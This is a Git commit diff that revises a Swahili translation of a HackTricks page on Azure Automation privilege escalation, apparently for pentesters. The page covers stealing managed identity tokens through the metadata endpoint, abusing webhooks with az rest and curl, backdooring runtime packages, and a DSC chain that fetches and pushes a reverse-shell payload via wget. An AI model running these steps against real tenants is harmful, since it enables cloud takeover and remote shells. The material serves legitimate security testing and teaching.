mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation
This commit is contained in:
+15
-30
@@ -14,16 +14,16 @@ Kwa maelezo zaidi angalia:
|
||||
|
||||
- **Kutoka kwa Akaunti ya Automation hadi VM**
|
||||
|
||||
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata Azure VM.
|
||||
Kumbuka kwamba ikiwa kwa namna fulani mshambuliaji anaweza kutekeleza runbook isiyo na mipaka (code isiyo na mipaka) katika mfanyakazi wa hybrid, atakuwa **na uwezo wa kuhamia eneo la VM**. Hii inaweza kuwa mashine ya ndani, VPC ya wingu tofauti au hata VM ya Azure.
|
||||
|
||||
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho mwingine wa Usimamizi umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**.
|
||||
Zaidi ya hayo, ikiwa mfanyakazi wa hybrid anafanya kazi katika Azure na Utambulisho wa Usimamizi mwingine umeunganishwa, runbook itakuwa na uwezo wa kufikia **utambulisho wa usimamizi wa runbook na utambulisho wote wa usimamizi wa VM kutoka kwa huduma ya metadata**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba **huduma ya metadata** ina URL tofauti (**`http://169.254.169.254`**) kuliko huduma ambayo inapata token za utambulisho wa usimamizi wa akaunti ya automation (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Kutoka kwa VM hadi Akaunti ya Automation**
|
||||
|
||||
Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kutafuta metadata ya **Akaunti ya Automation** na kuipata kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation.
|
||||
Zaidi ya hayo, ikiwa mtu atachafua VM ambapo script ya akaunti ya automation inafanya kazi, atakuwa na uwezo wa kupata metadata ya **Akaunti ya Automation** na kuifikia kutoka kwa VM ili kupata token za **Utambulisho wa Usimamizi** uliounganishwa na Akaunti ya Automation.
|
||||
|
||||
Kama inavyoonekana katika picha ifuatayo, kuwa na ufikiaji wa Msimamizi juu ya VM inawezekana kupata katika **mabadiliko ya mazingira ya mchakato** URL na siri za kufikia huduma ya metadata ya akaunti ya automation:
|
||||
|
||||
@@ -139,26 +139,11 @@ az rest --method PUT \
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Kwa ruhusa **`Microsoft.Automation/automationAccounts/webhooks/write`** inawezekana kuunda Webhook mpya kwa Runbook ndani ya Akaunti ya Automation kwa kutumia amri ifuatayo.
|
||||
|
||||
Kumbuka kwamba utahitaji **kuashiria URI ya webhook** pamoja na tokeni ya kutumia.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2026-01-09T20:03:30.291Z",
|
||||
"parameters": {},
|
||||
"runOn": null,
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
},
|
||||
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
|
||||
}
|
||||
}'
|
||||
|
||||
# Then, to call the runbook using the webhook
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Amri hii inapaswa kurudisha URI ya webhook ambayo inaonyeshwa tu wakati wa uumbaji. Kisha, ili kuita runbook kwa kutumia URI ya webhook
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
@@ -205,12 +190,12 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzifanya itakuwa **na uwezo wa kupandisha mamlaka**.
|
||||
Hii itafanya kuagiza kiotomatiki runbooks kutoka kwa hazina ya Github hadi Akaunti ya Automation na kwa ruhusa nyingine za kuanza kuzitekeleza itakuwa **na uwezo wa kupandisha mamlaka**.
|
||||
|
||||
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na utambulisho ulio na usimamizi wenye jukumu la **`Contributor`** na ikiwa ni utambulisho wa mtumiaji ulio na usimamizi, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Zaidi ya hayo, kumbuka kwamba ili udhibiti wa chanzo ufanye kazi katika Akaunti za Automation lazima iwe na kitambulisho kinachosimamiwa chenye jukumu la **`Contributor`** na ikiwa ni kitambulisho kinachosimamiwa na mtumiaji, kitambulisho cha mteja wa MI lazima kielezwe katika variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapoanzishwa.
|
||||
> Kumbuka kwamba siwezi kubadilisha URL ya repo ya udhibiti wa chanzo mara tu inapotengenezwa.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
@@ -230,7 +215,7 @@ az rest --method PUT \
|
||||
```
|
||||
### Mazingira ya Kazi ya Kijadi
|
||||
|
||||
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha mazingira hayo kwa msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa.
|
||||
Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza kuwa inawezekana kubadilisha kifurushi cha kijadi cha mazingira na msimbo mbaya (kama **backdoor**). Kwa njia hii, kila wakati runbook inayotumia mazingira hayo ya kijadi inatekelezwa na kupakia kifurushi hicho cha kijadi, msimbo mbaya utaanzishwa.
|
||||
|
||||
### Kuathiri Usanidi wa Jimbo
|
||||
|
||||
@@ -239,7 +224,7 @@ Ikiwa akaunti ya automatisering inatumia mazingira ya kazi ya kijadi, inaweza ku
|
||||
- Hatua ya 1 — Unda Faili
|
||||
|
||||
**Faili Zinazohitajika:** Skripti mbili za PowerShell zinahitajika:
|
||||
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo Linalotakiwa (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: Faili ya Usanidi wa Jimbo la Taka (DSC) inayopata na kutekeleza payload. Inapatikana kutoka [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skripti ya kuchapisha usanidi kwa VM, inapatikana katika [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Ubadilishaji:** Vigezo na parameta katika faili hizi lazima zibadilishwe ili kufaa mazingira maalum ya mtumiaji, ikiwa ni pamoja na majina ya rasilimali, njia za faili, na vitambulisho vya seva/payload.
|
||||
@@ -252,13 +237,13 @@ Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_she
|
||||
```
|
||||
- Hatua ya 3 — Weka Muktadha wa Hifadhi & Pakia
|
||||
|
||||
Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililotengwa, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
|
||||
Faili ya usanidi iliyoshonwa inapakiwa kwenye kontena la Hifadhi la Azure lililowekwa awali, azure-pentest, kwa kutumia cmdlet ya Azure Set-AzStorageBlobContent.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Hatua ya 4 — Andaa Sanduku la Kali
|
||||
- Step 4 — Prep Kali Box
|
||||
|
||||
Seva ya Kali inashusha mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
|
||||
Seva ya Kali inapakua mzigo wa RevPS.ps1 kutoka kwenye hifadhi ya GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user